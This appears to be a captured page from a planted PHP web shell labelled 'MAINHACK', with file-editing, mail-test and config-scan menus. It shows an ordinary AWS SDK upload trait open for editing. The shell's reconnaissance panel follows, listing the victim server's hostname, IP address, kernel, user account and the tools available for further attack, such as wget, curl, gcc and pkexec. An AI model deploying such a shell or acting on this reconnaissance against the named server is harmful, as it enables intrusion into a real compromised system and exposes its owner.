[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: MultipartUploadingTrait.php
<?php namespace Aws\S3; use Aws\CommandInterface; use Aws\Multipart\UploadState; use Aws\ResultInterface; trait MultipartUploadingTrait { private $uploadedBytes = 0; /** * Creates an UploadState object for a multipart upload by querying the * service for the specified upload's information. * * @param S3ClientInterface $client S3Client used for the upload. * @param string $bucket Bucket for the multipart upload. * @param string $key Object key for the multipart upload. * @param string $uploadId Upload ID for the multipart upload. * * @return UploadState */ public static function getStateFromService( S3ClientInterface $client, $bucket, $key, $uploadId ) { $state = new UploadState([ 'Bucket' => $bucket, 'Key' => $key, 'UploadId' => $uploadId, ]); foreach ($client->getPaginator('ListParts', $state->getId()) as $result) { // Get the part size from the first part in the first result. if (!$state->getPartSize()) { $state->setPartSize($result->search('Parts[0].Size')); } // Mark all the parts returned by ListParts as uploaded. foreach ($result['Parts'] as $part) { $state->markPartAsUploaded($part['PartNumber'], [ 'PartNumber' => $part['PartNumber'], 'ETag' => $part['ETag'] ]); } } $state->setStatus(UploadState::INITIATED); return $state; } protected function handleResult(CommandInterface $command, ResultInterface $result) { $partData = []; $partData['PartNumber'] = $command['PartNumber']; $partData['ETag'] = $this->extractETag($result); $commandName = $command->getName(); $checksumResult = $commandName === 'UploadPart' ? $result : $result[$commandName . 'Result']; if (isset($command['ChecksumAlgorithm'])) { $checksumMemberName = 'Checksum' . strtoupper($command['ChecksumAlgorithm']); $partData[$checksumMemberName] = $checksumResult[$checksumMemberName] ?? null; } $this->getState()->markPartAsUploaded($command['PartNumber'], $partData); // Updates counter for uploaded bytes. $this->uploadedBytes += $command["ContentLength"]; // Sends uploaded bytes to progress tracker if getDisplayProgress set if ($this->displayProgress) { $this->getState()->getDisplayProgress($this->uploadedBytes); } } abstract protected function extractETag(ResultInterface $result); protected function getCompleteParams() { $config = $this->getConfig(); $params = isset($config['params']) ? $config['params'] : []; $params['MultipartUpload'] = [ 'Parts' => $this->getState()->getUploadedParts() ]; return $params; } protected function determinePartSize() { // Make sure the part size is set. $partSize = $this->getConfig()['part_size'] ?: MultipartUploader::PART_MIN_SIZE; // Adjust the part size to be larger for known, x-large uploads. if ($sourceSize = $this->getSourceSize()) { $partSize = (int) max( $partSize, ceil($sourceSize / MultipartUploader::PART_MAX_NUM) ); } // Ensure that the part size follows the rules: 5 MB <= size <= 5 GB. if ($partSize < MultipartUploader::PART_MIN_SIZE || $partSize > MultipartUploader::PART_MAX_SIZE) { throw new \InvalidArgumentException('The part size must be no less ' . 'than 5 MB and no greater than 5 GB.'); } return $partSize; } protected function getInitiateParams() { $config = $this->getConfig(); $params = isset($config['params']) ? $config['params'] : []; if (isset($config['acl'])) { $params['ACL'] = $config['acl']; } // Set the ContentType if not already present if (empty($params['ContentType']) && $type = $this->getSourceMimeType()) { $params['ContentType'] = $type; } return $params; } /** * @return UploadState */ abstract protected function getState(); /** * @return array */ abstract protected function getConfig(); /** * @return int */ abstract protected function getSourceSize(); /** * @return string|null */ abstract protected function getSourceMimeType(); }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.41 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002